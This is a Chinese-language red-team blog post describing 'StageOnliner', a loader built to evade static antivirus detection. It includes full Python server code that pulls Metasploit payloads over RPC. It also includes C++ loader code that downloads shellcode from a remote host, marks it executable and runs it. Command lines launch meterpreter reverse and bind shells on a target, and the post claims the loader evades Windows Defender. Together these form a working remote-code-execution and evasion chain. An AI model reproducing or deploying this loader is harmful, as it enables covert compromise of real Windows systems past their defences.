由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
通常在演练过程里,目的是追求快速的获取更多的权限,但是目标机器都安装了各种反病毒软件,种类繁多,大多对于静态查杀管控较为严格,导致一些工具无法使用。而在这个夹缝中生存的渗透师,就必须要学习更多的知识,本文会阐述一些关于静态免杀的方案,以及我的理解,如有不对,请斧正。
关于代码
一般来说,不管是Linux操作系统、Windows操作系统,可执行的应用程序文件,都遵循着一种格式:
- Linux ELF
- Windows PE
这种格式又包含了:可执行的应用程序、动态链接库等等,如Windows下的.exe、.dll。
而这些文件,其中都有一块空间用于保存程序的代码,也就是指令集,操作系统若想要执行一个文件,就要先将文件加载到内存,并分配相应的虚拟地址空间,创建一个进程和线程,线程再去执行程序的代码。
那么假设如上可以理解,就能够推断出常用的Shellcode加载器的工作原理:
- Shellcode是代码本身
- 加载器是具备读取代码的程序
- 加载器执行后,操作系统会创建一个进程与一个线程
- 第一个线程用于读取代码(Shellcode)并创建第二个线程,将线程执行的第一条指令指向代码(Shellcode)
关于内存
在Windows操作系统中,每个进程互不干扰(除了公用的内核对象以外),都有自己的虚拟内存空间,而这一块线性的内存空间又被切成一页一页的大小,通常默认情况下,每页的大小是4KB。
Windows通过以页的单位来管理进程的虚拟内存空间,最典型的例子:
https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
使用VirtualAlloc
Windows API 可向操作系统申请内存空间,操作系统根据指定的大小来调整分配几页,并且会自动进行内存对齐。
为什么要讲到内存呢,因为静态免杀的核心就是将代码加载至内存,理解内存的管理方式,才能产生更多的想法。
关于静态免杀
静态免杀,提起这个很多人会想到很久远的…. 花指令、压缩壳、垃圾资源 等等。
但是由于Shellcode加载器的出现,很多人开始从源码方面出发,通过正常且无害的API来构建一个加载器。
这里说一个问题,比如:
- lcx.exe 这款工具,很多人说它是黑客工具,但真的如此吗?
- 中国菜刀这款工具,很多人说它是黑客工具,但真的如此吗?
- 灰鸽子远控,很多人说它是黑客工具,但真的如此吗?
其实在软件的世界里,善与恶也取决于你的心……
- lcx 本身解决了端口转发的问题,方便了网管;
- 中国菜刀,出发点是为网站管理员管理网站方便的,因为以前大多使用虚拟主机,用ftp更新代码,比较繁琐。
- 灰鸽子远控,出发点是为了方便给企业管理终端
所以说,程序的好坏,取决于用途和目的。
说完正反的问题,再聊聊加载器,目前见的最多的是两大加载器:
- Shellcode加载器
- PE加载器
两者有什么不同呢,我想可能就是加载的文件格式不同,但最终都要运行文件中的代码。
我用Metasploit有些时间了,起初觉得非常强大,关于Metasploit早期的文章里说到让目标上线的过程里,一定会包含生成木马的环节,最早是叫msfpayload后来改成了msfvenom,经过不断的优化,msfvenom目前速度变快了许多,但是生成木马一直是一个繁琐的事情。
为了解决这个问题,我做了一件事,写了一个远程的Shellcode加载器,Shellcode不需要混淆,也能正常工作,并且支持所有payload,例如:
- windows/x64/meterpreter/bind_tcp
- windows/meterpreter/reverse_tcp
- windows/meterpreter/reverse_tcp_rc4
- ….
我给这个项目取名叫:StageOnliner,查了一下,英语里没有Onliner,但就是要硬核一下,名字只是一个叫法。
StageOnliner
StageOnliner 主要是为了解决Windows平台下上线metasploit各种模块生成的繁琐问题
例如上线 windows/meterpreter 和 windows/x64/meterpreter 下的模块,需要生成 shellcode 或 使用msfvenom生成PE文件执行,而使用StageOnliner可以将所有模块兼容,只需要上传一个StageOnliner.exe即可。
特性:
- 兼容Metasploit所有Payload模块
- 支持网络正向、反向、加密
- 支持分离部署
- 支持客户端操作系统、服务器操作系统 90%
- 支持64位、32位操作系统
- 体积小
文件属性
该文件属性如下:
属性 | 值 |
---|---|
体积 | 90KB |
免杀情况 | 最新Windows Defender |
兼容平台 | Windows XP + |
参数示例
上线reverse_tcp_rc4示例:
C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp_rc4 -s LHOST=192.168.117.1,LPORT=1122,RC4PASSWORD=hello -H 192.168.117.1 -P 4474
上线reverse_tcp示例:
C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp -s LHOST=192.168.117.1,LPORT=1122 -H 192.168.117.1 -P 4474
上线bin_tcp x64示例:
C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/x64/meterpreter/bind_tcp -s RHOST=192.168.117.169,LPORT=1122 -H 192.168.117.1 -P 4474
使用帮助
使用方式:
Server | IP地址 |
---|---|
Metasploit Server | 192.168.117.1 |
Stager Server | 192.168.117.1 |
Target Server | 192.168.117.169 |
Metasploit Server | 1.1.1.1 |
PS:服务器可分离部署,StageOnliner可上线多台服务器
在Metasploit Server上启动msfrpcd:
rvn0xsy@MacBook-Pro ~> /opt/metasploit-framework/bin/msfrpcd -U msf -P msf -u /api/1.0/
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] URI: /api/1.0/
[*] MSGRPC backgrounding at 2019-09-14 18:41:14 +0800...
[*] MSGRPC background PID 50486
在Stager Server上启动server.py:
python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 4474 -S 192.168.117.1
在目标机器上启动StageOnliner:
C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp -s LHOST=192.168.117.1,LPORT=1122 -H 192.168.117.1 -P 4474
这个项目前身叫:Cooolis-ms,后来我不小心把源代码删除了,就重写了一下。
整个StageOnliner的工作模块分为三个:
- StageOnliner - Loader
- StageOnliner - Server
- StageOnliner - Metasploit RPC Server
- StageOnliner - Metasploit Console
客户端就叫Loader,运行后会向Server取回对应的模块Shellcode,其中Server接收请求后,会登录Metasploit RPC Server,调用API Method,RPC Server会把生成好的Shellcode回传,最终到达Loader,执行,上线到Console。
- Loader -> Server
- Server -> RPC Server
- RPC Server -> Server
- Server -> Loader
- Loader -> Console
其中,Server、RPC Server、Console都可以分离部署。
StageOnliner - 实现
参考:https://metasploit.help.rapid7.com/docs/standard-api-methods-referenc
上面是Metasploit关于RPC服务的接口手册
Server代码:https://github.com/Rvn0xsy/Cooolis-ms/
目前可能无法正常工作了,本文不分享这类工具,只是交流想法。
我写出的Server代码如下:
"""
Cooolis-ms
------------
Author:[email protected]
根据Metasploit Framework RPC 实现远程生成PAYLOAD,主要用于给灵活的PE加载器、Shellcode工作
Github:https://github.com/Rvn0xsy/Cooolis-ms/
"""
import requests
from argparse import ArgumentParser
import msgpack
import ssl
import sys
import json
import term
import struct
from socketserver import BaseRequestHandler,ThreadingTCPServer
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
ssl._create_default_https_context = ssl._create_unverified_context
class Metasploit_RPC(BaseRequestHandler):
def __init__(self, request, client_address, server, args):
self.type = args.type
self.username = args.username
self.password = args.password
self.listen = args.listen
self.host = args.host
self.port = args.port
self.server = args.server
self.uri = args.uri
self.debug = args.versobe
self.token = ''
self.url = ''
self.headers = {"Content-type" : "binary/message-pack"}
if args.ssl:
prefix = 'https://'
else:
prefix = 'http://'
self.url = "{prefix}{host}:{port}{uri}".format(prefix=prefix,host=self.host,port=self.port,uri=self.uri)
super().__init__(request, client_address, server)
@classmethod
def Creator(cls, *args, **kwargs):
def _HandlerCreator(request, client_address, server):
cls(request, client_address, server, *args, **kwargs)
return _HandlerCreator
def _request(self,options):
try:
term.writeLine("[*]API URL : {url} , Method : {method}".format(url=self.url,method=options[0]), term.green)
options = self.__pack(options)
req = requests.post(self.url,verify=False,headers=self.headers,data=options)
result = self.__unpack(req.content)
if b'error' in result:
print("Error : %s" % str(result[b'error_message']),encoding = "utf8")
else:
return result
except Exception as e:
sys.stderr.write(str(e)+"\nRef:https://metasploit.help.rapid7.com/docs/standard-api-methods-referenc\n")
def _get_token(self):
options = ["auth.login",self.username,self.password]
result = self._request(options)
self.token = str(result[b'token'],encoding = "utf8")
term.writeLine("[*]Token: {token} Username : {username} Password : {password}".format(token=self.token,username=self.username,password=self.password),term.green)
# 打包数据
def __pack(self,pack_str):
return msgpack.packb(pack_str)
# 解包数据
def __unpack(self,pack_str):
return msgpack.unpackb(pack_str)
def __send_payload(self,payload,options):
term.writeLine("[*]PAYLOAD: {payload}".format(payload=payload),term.green)
pack_data = ["module.execute",self.token,"payload",payload,options]
return self._request(pack_data)
def handle(self):
term.writeLine("[*]New connection: {client}".format(client=self.client_address),term.green)
self._get_token()
while True:
data = self.request.recv(1024)
if not data:break
try:
data = struct.unpack(">200s200s200sLHH",data)
options = {}
str_json = data[1].decode('UTF-8')
str_json = str_json.strip('\x00')
# print("Options : %s size : %d",str_json,len(str_json))
for x in str_json.split(','):
k,v = x.split('=',2)
# print(k,":",v)
options.update({k.strip():v.strip()})
payload = data[0].decode('UTF-8')
payload = payload.strip('\x00')
# print("Payload : %s Options : %s " % (payload,options['LHOST']))
recv_payload = self.__send_payload(payload,options)
# print("Send .. %s ",recv_payload)
payload_size = len(recv_payload[b'payload'])
self.request.send(payload_size.to_bytes(4,byteorder='little',signed=False))
self.request.send(recv_payload[b'payload'])
self.request.close()
except Exception as e:
term.writeLine("[!]{error}".format(error=str(e)),term.red)
pass
finally:
break
def main():
example = 'Example:\n\n$ python3 server.py -U msf -P msf -v -s -l 4444'
args = ArgumentParser(prog='Cooolis-ms',epilog=example)
args.add_argument('-U','--username',help='Metasploit web service username',required=True)
args.add_argument('-P','--password',help='Metasploit web service password',required=True)
args.add_argument('-H','--host',help='Metasploit web service host, Default: localhost',default='localhost')
args.add_argument('-p','--port',help='Metasploit RPC service port, Default: 55553',default=55553,type=int)
args.add_argument('-S','--server',help='Payload sender listen host, Default: localhost',default='localhost')
args.add_argument('-l','--listen',help='Payload listen port, Default: 1111',default=1111,type=int)
args.add_argument('-u','--uri',help='Metasploit RPC service uri, Default: /api/1.0/',default='/api/1.0/')
args.add_argument('-t','--type',help='Payload Type',choices=('exe','ruby','c','dll','vbs','powershell'))
args.add_argument('-s','--ssl',help='Enable ssl, Default: True',action="store_true",default=True)
args.add_argument('-v','--versobe',help='Enable debug',action="store_true")
parser = args.parse_args()
term.writeLine("[*]Server Host : {host} , Server Port : {port}".format(host=parser.server,port=parser.listen), term.green)
server = ThreadingTCPServer((parser.server,parser.listen),Metasploit_RPC.Creator(parser))
server.serve_forever()
if __name__ == "__main__":
main()
启动Server之前,需要启动msfrpcd:
rvn0xsy ~> /opt/metasploit-framework/bin/msfrpcd -U msf -P msf -u /api/1.0/
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] URI: /api/1.0/
[*] MSGRPC backgrounding at 2019-09-14 18:41:14 +0800...
[*] MSGRPC background PID 50486
启动Server:
python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 4474 -S 192.168.117.1
在目标机器上运行:
C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp -s LHOST=1
92.168.117.1,LPORT=1122 -H 192.168.117.1 -P 4474
然后在metasploit中开启一个handler,监听windows/meterpreter/reverse_tcp即可上线。
StageOnliner - Loader
这块要单独挑出来说,因为它需要落地,涉及到一些API的使用:
- 网络连接
- 内存管理
- 线程管理
流程大致如下:
第一步
运行起来后,程序先申请一块内存空间:
CONST INT PAYLOAD_LEN = 200;
struct stager {
char payload[PAYLOAD_LEN];
char options[PAYLOAD_LEN];
};
假设为 200x2 = 400字节大小。
第一块放要使用的payload,第二块放payload的设置选项,以逗号分隔。
通过server中转相当于把msfvenom实现在本地了。
第二步
读取用户输入:GetCommandline()
然后将输入的参数放入stager结构体。
第三步
连接Server,将结构体发送到Server,Server通过struct解析payload与options,调用msfrpc,生成shellcode,返回给Loader。
代码片段:
// 连接套接字
while (connect(socks, (struct sockaddr*) & sock_addr, sizeof(sock_addr)) == SOCKET_ERROR) {
cout << "[!]Connect error ! " << GetLastError() << endl;
Sleep(5000);
continue;
}
send(socks, (char*)& sd, sizeof(sd), 0);
recv(socks, (char*)& dwPayloadLength, sizeof(DWORD), 0);
Sleep(3000);
CHAR* pSpace = (CHAR*)VirtualAlloc(NULL, dwPayloadLength, MEM_COMMIT, PAGE_READWRITE);
recv(socks, pSpace, dwPayloadLength,0);
closesocket(socks);
VirtualProtect(pSpace, dwPayloadLength, PAGE_EXECUTE_READ, &dwOldProtect);
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pSpace, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFree(hThread, 0, MEM_RELEASE);
至此,演练环境下不需要考虑静态免杀的问题了,只需要提前搭建好Server、Metasploit RPC Server,剩下的就靠Console Server和Loader配合,Shellcode全在网络中传输……
目前我没实现流量加密,也就是说第一个数据包是明文的,后续会采用RC4等优化。
由于工具有些敏感,暂时就先抛出思路来~